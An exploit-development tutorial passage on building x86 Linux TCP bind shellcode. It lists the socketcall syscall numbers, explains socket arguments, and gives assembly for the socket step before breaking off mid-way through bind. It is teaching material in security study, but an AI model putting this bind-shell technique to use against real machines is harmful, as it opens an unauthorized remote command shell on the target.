Creating Linux TCP Bind Shellcode

The TCP bind shell is used to setup a listener (or server) on the target machine which allows the attacker machine to execute commands on the said machine.

The TCP bind shell code consists of following function calls:

int socket(int domain, int type, int protocol);                          # creates an endpoint for communication and returns a descriptor
int bind(int sockfd, const struct sockaddr *addr,socklen_t addrlen);     # binds a name to a socket
int listen(int sockfd, int backlog);                                     # listen for connections on a socket
int accept(int sockfd, struct sockaddr *addr, socklen_t *addrlen);       # accept a connection on a socket
int dup2(int oldfd, int newfd);                                          # duplicate a file descriptor. This syscall is issued 3 times to dupilcate stdin, stdout and stderr.
int execve(const char *filename, char *const argv[],char *const envp[]); # execute program

Syscall numbers for these functions can be found in /usr/include/i386-linux-gnu/asm/unistd_32.h and are as follows:

int socketcall(int call, unsigned long *args);                              # Syscall number; 102 or 0x66
int socket(int domain, int type, int protocol);                             # Called via sokcetcall Syscall number: 102 or 0x66. Argument no 1
int bind(int sockfd, const struct sockaddr_in *addr,socklen_t addrlen);     # Called via sokcetcall Syscall number: 102 or 0x66. Argument no 2
int listen(int sockfd, int backlog);                                        # Called via sokcetcall Syscall number: 102 or 0x66. Argument no 4
int accept(int sockfd, struct sockaddr *addr, socklen_t *addrlen);          # Called via sokcetcall Syscall number: 102 or 0x66. Argument no 5
int dup2(int oldfd, int newfd);                                             # Syscall number: 63 or 0x3f
int execve(const char *filename, char *const argv[],char *const envp[]);    # Syscall number: 11 or 0xb

The first function (socket) takes in three arguments int domain, int type, int protocol. In this case the value of these arguments would be:

domain – AF_INET or 2 (represents IPv4)
type – SOCK_STREAM or 1 (represents TCP)
protocol – 0 (choose the most appropirate protocol)

Assembly code for this function call:

;storing arguments for socketcall syscall
 
XOR eax, eax
mov al, 0x66
XOR ebx, ebx
mov bl, 0x1
 
;storing arguments for socket function call
 
XOR edx, edx
PUSH edx
Push byte 1
Push byte 2
 
;storing arguments for socketcall syscall
mov ecx, esp
 
;Executing socketcall syscall
 
int 0x80
mov edi, eax ;storing return value i.e. sockfd in edi

The second function (bind) takes in three arguments int sockfd, const struct sockaddr_in *addr,socklen_t addrlen. In this case the value of these arguments would be:

sockfd – Socket file descriptor returned by the first syscall

*addr – Reference Socket structure address. Is is defined as follows:

      struct sockaddr_in {
      sa_family_t sin_family; /* address family: AF_INET */
      in_port_t sin_port; /* port in network byte order */
      struct in_addr sin_addr; /* internet address */
      };

addrlen – Length or size of socket structure